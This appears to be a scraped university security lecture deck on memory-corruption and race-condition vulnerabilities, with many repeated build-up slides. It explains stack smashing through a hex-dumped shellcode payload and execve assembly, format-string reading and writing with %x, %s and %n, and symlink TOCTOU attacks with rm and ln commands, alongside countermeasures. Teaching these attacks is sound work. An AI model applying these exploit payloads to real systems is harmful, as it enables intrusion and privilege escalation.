  • 21. Stack Smashing 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +" 020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “  The next 12 bytes of binary data fill the extra storage space that was created by the compiler to keep the stack aligned on a16-byte boundary.
  • 22. Stack Smashing 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +" 020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “  The next 12 bytes of binary data fill the extra storage space that was created by the compiler to keep the stack aligned on a16-byte boundary.
  • 23. Stack Smashing 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +" 020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “  The next 4 bytes overwrite the return address.  The new return address is 0X BF FF F9 E0 (little- endian)
  • 25. Stack Smashing 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +" 020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “  The malicious code.  Purpose of malicious code is to call execve with a user provided set of parameters.  In this program, instead of spawning a shell, we just call the linux calculator program.
  • 26. Stack Smashing 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +" 020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “  The malicious code:  xor %eax,%eax #set eax to zero  mov %eax,0xbffff9ff #set to NULL word Create a zero value and use it to NULL terminate the argument list. This is necessary to terminate the argument list.
  • 27. Stack Smashing 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +" 020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “  The malicious code:  xor %eax,%eax #set eax to zero  mov %eax,0xbffff9ff #set to NULL word  mov $0xb,%al #set code for execve Set the value of register al to 0xb. This value indicates a system call to execve.
  • 28. Stack Smashing 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +" 020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “  The malicious code:  mov $0xb,%al #set code for execve  mov $0xbffffa03,%ebx #ptr to arg 1  mov $0xbffff9fb,%ecx #ptr to arg 2  mov 0xbffff9ff,%edx #ptr to arg 3  This puts the pointers to the arguments into ebc, ecx, and edx registers.
  • 29. Stack Smashing 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +" 020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “  The malicious code:  mov $0xbffffa03,%ebx #ptr to arg 1  mov $0xbffff9fb,%ecx #ptr to arg 2  mov 0xbffff9ff,%edx #ptr to arg 3  int $80 # make system call to execve  Now make the system call to execve. The arguments are in the registers.
  • 30. Stack Smashing 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +" 020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v" 030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “ The malicious code:  Last part are the arguments.
  • 31. Stack Smashing  ./BufferOverflow < exploit.bin now executes /usr/bin/cal0.
  • 32. Stack Smashing Countermeasures  Canaries  Protect return addresses  Random value is stored before return address.  When returning, check whether canary has been altered.  Non-executable stacks  Prevents shellcode injection  Randomizing stack layout  Introduce bogus empty blocks of memory on stack  Attacker cannot predict stack layout
  • 33. Data Pointers Example void foo(void * arg, size_t len) { char buff[100]; long val = …; long *ptr = …; memcpy(buff, arg, len); *ptr = val; … return; } Buffer is vulnerable to overflow. Both val and ptr are located after the buffer and can be overwritten. This allows a buffer overflow to write an arbitrary address in memory.
  • 34. Data Pointers  Arbitrary memory writes can change the control flow.  This is easier if the length of a pointer is equal to the length of important data structures. Intel 32 Architectures:  sizeof(void*) = sizeof(int) = sizeof(long) = 4B.
  • 35. Pointer Subterfuge  Targets for memory overwrites: Unix:  GOT table  .dtors Windows  Virtual function tables  Exception handlers  Details in Secure Programming Course
  • 36. Format String Vulnerabilities  printf and companions are variadic functions. Variable number of arguments. Format string and addresses of arguments in the format string are placed on the stack.  Format string vulnerability: User controls (partially) input to printf
  • 37. Format String Vulnerabilities  Example 1. int func(char *user) { 2. printf(user); 3. }  If the user argument can be controlled by a user, this program can be exploited to crash the program, view the contents of the stack, view memory content, or overwrite memory
  • 38. Format String Vulnerability  printf("%s%s%s%s%s%s%s%s%s%s%s%s");  The %s conversion specifier displays memory at an address specified in the corresponding argument on the execution stack.  Because no string arguments are supplied in this example, printf() reads arbitrary memory locations from the stack until the format string is exhausted or an invalid pointer or unmapped address is encountered.
  • 39. Viewing Stack Content  Attackers can also exploit formatted output functions to examine the contents of memory.  Disassembled printf() call 0x00000000 char format [32]; strcpy(format, "%08x.%08x.%08x.%08x"); printf(format, 1, 2, 3); 1. push 3 2. push 2 3. push 1 4. push offset format 5. call _printf 6. add esp,10h Arguments are pushed onto the stack in reverse order. the arguments in memory appear in the same order as in the printf() call
  • 40. Viewing the Contents of the Stack 0x00000000 e0f84201 2e25303801000000 02000000 03000000 25303878 % 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x 00000001.00000002.00000003.25303878 Format string: Output: Memory: Initial argument pointer Final argument pointer The address of the format string 0xe0f84201 appears in memory followed by the argument values 1, 2, and 3
  • 41. Viewing the Contents of the Stack 0x00000000 e0f84201 2e25303801000000 02000000 03000000 25303878 % 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x 00000001.00000002.00000003.25303878 Format string: Output: Memory: Initial argument pointer Final argument pointer The memory immediately following the arguments contains the automatic variables for the calling function, including the contents of the format character array 0x2e253038
  • 42. Viewing the Contents of the Stack 0x00000000 e0f84201 2e25303801000000 02000000 03000000 25303878 % 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x 00000001.00000002.00000003.25303878 Format string: Output: Memory: Initial argument pointer Final argument pointer The format string %08x. %08x.%08x.%08 instructs printf() to retrieve four arguments from the stack and display them as eight- digit padded hexadecimal numbers
  • 43. Viewing the Contents of the Stack 0x00000000 e0f84201 2e25303801000000 02000000 03000000 25303878 % 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x 00000001.00000002.00000003.25303878 Format string: Output: Memory: Initial argument pointer Final argument pointer As each argument is used by the format specification, the argument pointer is increased by the length of the argument.
  • 44. Viewing the Contents of the Stack 0x00000000 e0f84201 2e25303801000000 02000000 03000000 25303878 % 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x 00000001.00000002.00000003.25303878 Format string: Output: Memory: Initial argument pointer Final argument pointer Each %08x in the format string reads a value it interprets as an int from the location identified by the argument pointer.
  • 45. Viewing the Contents of the Stack 0x00000000 e0f84201 2e25303801000000 02000000 03000000 25303878 % 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x 00000001.00000002.00000003.25303878 Format string: Output: Memory: Initial argument pointer Final argument pointer The values output by each format string are shown below the format string.
  • 46. Viewing the Contents of the Stack 0x00000000 e0f84201 2e25303801000000 02000000 03000000 25303878 % 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x 00000001.00000002.00000003.25303878 Format string: Output: Memory: Initial argument pointer Final argument pointer The fourth “integer” contains the first four bytes of the format string—the ASCII codes for %08x.
  • 47. Viewing Memory at a Specific Location 0x00000000 dcf54201 25782578 Final argument pointer e0f84201 01000000 02000000 03000000 xdc - written to stdout xf5 - written to stdout x42 - written to stdout x01 - written to stdout %x - advances argument pointer %x - advances argument pointer %x - advances argument pointer %s - outputs string at address specified Initial argument pointer Memory: in next argument % x % x address advance-argptr %s xdcxf5x42x01%x%x%x%s The series of three %x conversion specifiers advance the argument pointer twelve bytes to the start of the format string
  • 48. Viewing Memory at a Specific Location 0x00000000 dcf54201 25782578 Final argument pointer e0f84201 01000000 02000000 03000000 xdc -written to stdout xf5 -written to stdout x42 -written to stdout x01 -written to stdout %x - advances argument pointer %x - advances argument pointer %x - advances argument pointer %s - outputs string at address specified Initial argument pointer Memory: in next argument % x % x address advance-argptr %s xdcxf5x42x01%x%x%x%s The %s conversion specifier displays memory at the address supplied at the beginning of the format string.
  • 49. Viewing Memory Content  printf() displays memory from 0x0142f5dc until a 0 byte is reached.  The entire address space can be mapped by advancing the address between calls to printf().  Viewing memory at an arbitrary address can help an attacker develop other exploits, such as executing arbitrary code on a compromised machine.
  • 50. Format String Vulnerability  Arbitrary memory can be written by using the %n specifier in the format string. int i; printf("hello%nn", (int *)&i);  The variable i is assigned the value 5 because five characters (h-e-l-l-o) are written until the %n conversion specifier is encountered.  Using the %n conversion specifier, an attacker can write a small integer value to an address.
  • 51. Format String Vulnerability printf("xdcxf5x42x01%08x.%08x.%08x%n”);  Writes an integer value corresponding to the number of characters output to the address 0x0142f5dc.  The value written (28) is equal to the eight-character- wide hex fields (times three) plus the four address bytes.  An attacker can overwrite the address with the address of some shellcode.
  • 52. Format String Vulnerability printf ("%16u%n%16u%n%32u%n%64u %n",  The first %16u%n sequence writes the value 16 to the specified address, but the second %16u%n sequence writes 32 bytes because the counter has not been reset.
  • 53. Dynamic Memory Errors  Errors change internal heap structures, leading to overwriting an arbitrary memory address with an arbitrary value Double free.  Exploited vulnerability in both Linux and Windows
  • 54. TOCTOU Race Conditions  Race window by checking for some race object and later accessing it.
  • 55. TOCTOU #include <stdio.h> #include <unistd.h> int main(int argc, char *argv[]) { FILE *fd; if (access("/some_file", W_OK) == 0) { printf("access granted.n"); fd = fopen("/some_file", "wb+"); /* write to the file */ fclose(fd); } . . . return 0; } The access() function is called to check if the file exists and has write permission.
  • 56. TOCTOU #include <stdio.h> #include <unistd.h> int main(int argc, char *argv[]) { FILE *fd; if (access("/some_file", W_OK) == 0) { printf("access granted.n"); fd = fopen("/some_file", "wb+"); /* write to the file */ fclose(fd); } . . . return 0; } the file is opened for writing
  • 57. TOCTOU #include <stdio.h> #include <unistd.h> int main(int argc, char *argv[]) { FILE *fd; if (access("/some_file", W_OK) == 0) { printf("access granted.n"); fd = fopen("/some_file", "wb+"); /* write to the file */ fclose(fd); } . . . return 0; } Race window between checking for access and opening file.
  • 58. TOCTOU  Vulnerability  An external process can change or replace the ownership of some_file.  If this program is running with an effective user ID (UID) of root, the replacement file is opened and written to.  If an attacker can replace some_file with a link during the race window, this code can be exploited to write to any file of the attacker’s choosing.
  • 59. TOCTOU  The program could be exploited by a user executing the following shell commands during the race window: rm /some_file ln /myfile /some_file  The TOCTOU condition can be mitigated by replacing the call to access() with logic that drops privileges to the real UID, opens the file with fopen(), and checks to ensure that the file was opened successfully.
  • 60. TOCTOU Exploits Symbolic Link if (stat("/some_dir/some_file", &statbuf) == -1) { err(1, "stat"); } if (statbuf.st_size >= MAX_FILE_SIZE) { err(2, "file size"); } if ((fd=open("/some_dir/some_file", O_RDONLY)) == -1) { err(3, "open - /some_dir/some_file"); } 11. // process file stats /some_dir/some_file and opens the file for reading if it is not too large.
  • 61. TOCTOU Exploits Symbolic Link if (stat("/some_dir/some_file", &statbuf) == -1) { err(1, "stat"); } if (statbuf.st_size >= MAX_FILE_SIZE) { err(2, "file size"); } if ((fd=open("/some_dir/some_file", O_RDONLY)) == -1) { err(3, "open - /some_dir/some_file"); } 11. // process file The TOCTOU check occurs with the call of stat() TOCTOU use is the call to fopen()
  • 62. TOCTOU Exploits Symbolic Link  Attacker executes the following during the race window :  rm /some_dir/some_file  ln -s attacker_file /some_dir/some_file  The file passed as an argument to stat() is not the same file that is opened.  The attacker has hijacked /some_dir/some_file by linking this name to attacker_file.
  • 63. TOCTOU Exploits Symbolic Link  Symbolic links are used because  Owner of link does not need any permissions for the target file.  The attacker only needs write permissions for the directory in which the link is created.  Symbolic links can reference a directory. The attacker might replace /some_dir with a symbolic link to a completely different directory
  • 64. TOCTOU Exploits Symbolic Link  Example: passwd() functions of SunOS and HP/UX  passwd() requires user to specify password file as parameter 1. Open password file, authenticate user, close file. 2. Create and open temporary file ptmp in same directory. 3. Reopen password file and copy updated version into ptmp. 4. Close both files and rename ptmp as the new password file.
  • 65. TOCTOU Exploits Symbolic Link 1. Attacker creates bogus password file called .rhosts 2. Attacker places .rhosts into attack_dir 3. Real password file is in victim_dir 4. Attacker creates symbolic link to attack_dir, called symdir. 5. Attacker calls passwd passing password file as /symdir/.rhosts. 6. Attacker changes /symdir so that password in steps 1 and 3 refers to attack_dir and in steps 2 and 4 to victim_dir. 7. Result: password file in victim_dir is replaced by password file in attack_dir.
  • 66. TOCTOU Exploits Symbolic Link  Symlink attack can cause exploited software to open, remove, read, or write a hijacked file or directory.  Other example: StarOffice  Exploit substitutes a symbolic link for a file whose permission StarOffice is about to elevate.  Result: File referred to gets permissions updated.
  • 67. Morale  Existing code base is full of software errors.  Changing to safer languages is going to alleviate the problem.  All application software is under suspicion.  Fast patching protects against most attacks.  But not zero-day exploits  Patching can break applications, hence:  Test on test servers before applying patches.  Decrease attack surface by  running as few applications as possible  running services at lowest possible privilege level.
  • 68. COEN 351 E-Commerce Security  E-Commerce Security Course Homepage  Lecture Notes

Editor's Notes

  1. Course Homepage : http://ouo.io/SI9jJ Lecture Notes : http://ouo.io/0oFRv
  2. Course Homepage : http://ouo.io/SI9jJ Lecture Notes : http://ouo.io/0oFRv